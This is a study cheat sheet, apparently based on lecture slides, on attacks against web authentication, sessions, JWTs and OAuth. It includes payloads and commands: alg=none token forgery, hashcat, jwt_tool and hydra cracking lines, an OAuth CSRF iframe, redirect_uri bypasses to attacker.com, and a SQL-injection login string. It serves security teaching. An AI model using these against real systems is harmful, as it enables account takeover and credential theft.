

Authentication, Session & OAuth Attacks

Bypassing login, hijacking sessions, exploiting OAuth flows

Cookie Flags — Check Every Set-Cookie Header

Flag	Missing means vulnerable to	How to check
HttpOnly	XSS can steal cookie via document.cookie	DevTools > Application > Cookies
Secure	Cookie sent over plain HTTP -> sniffable	Set-Cookie response header
SameSite=Strict	CSRF — cookie sent on cross-site requests	Set-Cookie response header
SameSite=Lax	CSRF via GET (partial protection only)	Set-Cookie response header

Session Management Attacks

How sessions work (from slides): User logs in -> server creates session record in DB -> sends Session ID in cookie -> every subsequent request includes that cookie -> server looks up session.

Session fixation	Attacker pre-sets known session ID; victim logs in with it; attacker now owns the session
Session prediction	Weak RNG or timestamp-based IDs — enumerate or guess valid session IDs
Session hijack via XSS	Steal session cookie with JS if HttpOnly is missing
Session not invalidated	Logout does not destroy server-side session — old cookie still works

JWT Attacks (from Slides)

JWT structure: header.payload.signature — all base64url encoded. Header declares algorithm. Server verifies signature using secret/key.

ATTACK 1: ALG=NONE — REMOVE SIGNATURE ENTIRELY

SLIDES

```
# Change header from {"alg":"HS256"} to {"alg":"none"}
# Remove the signature, keep the trailing dot

# Original: eyJhbGci... . eyJ1c2Vy... . SIG
# Modified: eyJhbGciOiJub25lIn0 . eyJ1c2VyIjoieWRtaW4ifQ .

# Modify payload to: {"user":"admin","role":"administrator"}
# If server accepts alg=none -> no signature check -> full bypass
```

ATTACK 2: WEAK HMAC SECRET — BRUTE FORCE

SLIDES

```
# If algorithm is HS256 and secret is weak:
hashcat -a 0 -m 16500 token.txt rockyou.txt
# Recover secret -> forge any payload -> sign it yourself
```

ATTACK 3: RS256 TO HS256 CONFUSION — EXTRA

EXTRA

```
# Server uses RS256 (asymmetric). Public key is available.
# Change algorithm in header to HS256 (symmetric).
# Sign token using the server public key as the HMAC secret.
# Server verifies with public key as HMAC secret -> passes!
```

JWT TOOL QUICK REF

EXTRA

```
jwt_tool <token> -T # tamper interactively
jwt_tool <token> -C -d wordlist.txt # crack HMAC secret
jwt_tool <token> -X a # test alg=none attack
```

OAuth Attacks — Missing State Parameter (from Slides)

State parameter = CSRF token for OAuth. If server does not validate it, an attacker can perform a CSRF-style OAuth account linking attack.

SLIDES

```
# Attacker gets their own authorization code from OAuth flow
# Crafts a link that sends victim to callback with attacker code:
<iframe src="https://client-app.com/callback?code=ATTACKER_CODE"></iframe>

# Admin clicks -> client-app thinks admin authorized attacker code
# Attacker account linked to admin -> attacker logs in as admin
```

REDIRECT_URI BYPASS — FROM SLIDES

SLIDES

```
# If redirect_uri not strictly validated:
redirect_uri=https://client.com/../../attacker # path traversal
redirect_uri=https://attacker.com%2F@client.com # URL parse confusion
redirect_uri=https://client.com.attacker.com # subdomain match

# Auth code is sent to attacker domain -> steal and use it
```

Auth Bypass Patterns

SQLi login bypass	Username: admin'-- (comments out password check)
Default credentials	admin/admin admin/password admin/123456
Username enumeration	Different error for wrong user vs wrong password -> find valid users

No rate limiting	Brute force with no lockout: hydra -l admin -P rockyou.txt target http-post-form "..."
Response manipulation	Burp Repeater: change {"success":false} to {"success":true} in response
Password reset flaw	Predictable token, not invalidated after use, or Host header injection
Skip MFA step	After password step, directly navigate to /dashboard — MFA may not be enforced server-side